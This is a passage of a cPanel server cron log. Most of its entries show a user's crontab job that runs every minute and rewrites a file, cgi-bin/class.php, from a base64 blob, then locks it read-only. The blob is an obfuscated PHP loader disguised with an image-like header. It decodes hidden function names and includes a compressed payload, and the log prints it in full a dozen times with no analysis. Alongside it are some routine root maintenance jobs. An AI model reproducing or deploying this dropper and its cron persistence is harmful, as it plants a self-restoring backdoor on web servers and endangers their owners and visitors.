"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 03:47:01 server CROND[19594]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 03:48:01 server CROND[19638]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 03:49:01 server CROND[19688]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 03:50:01 server CROND[19830]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 03:50:01 server CROND[19832]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 12 03:50:01 server CROND[19833]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 03:50:01 server CROND[19834]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 03:50:01 server CROND[19836]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 03:51:01 server CROND[19948]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 03:52:01 server CROND[20009]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 03:53:01 server CROND[20056]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 03:54:01 server CROND[20094]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 03:55:01 server CROND[20246]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 03:55:01 server CROND[20247]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 03:55:01 server CROND[20248]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 03:56:01 server CROND[20356]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 03:57:01 server CROND[20409]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 12 03:57:01 server CROND[20410]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 03:58:01 server CROND[20456]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 03:59:01 server CROND[20501]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
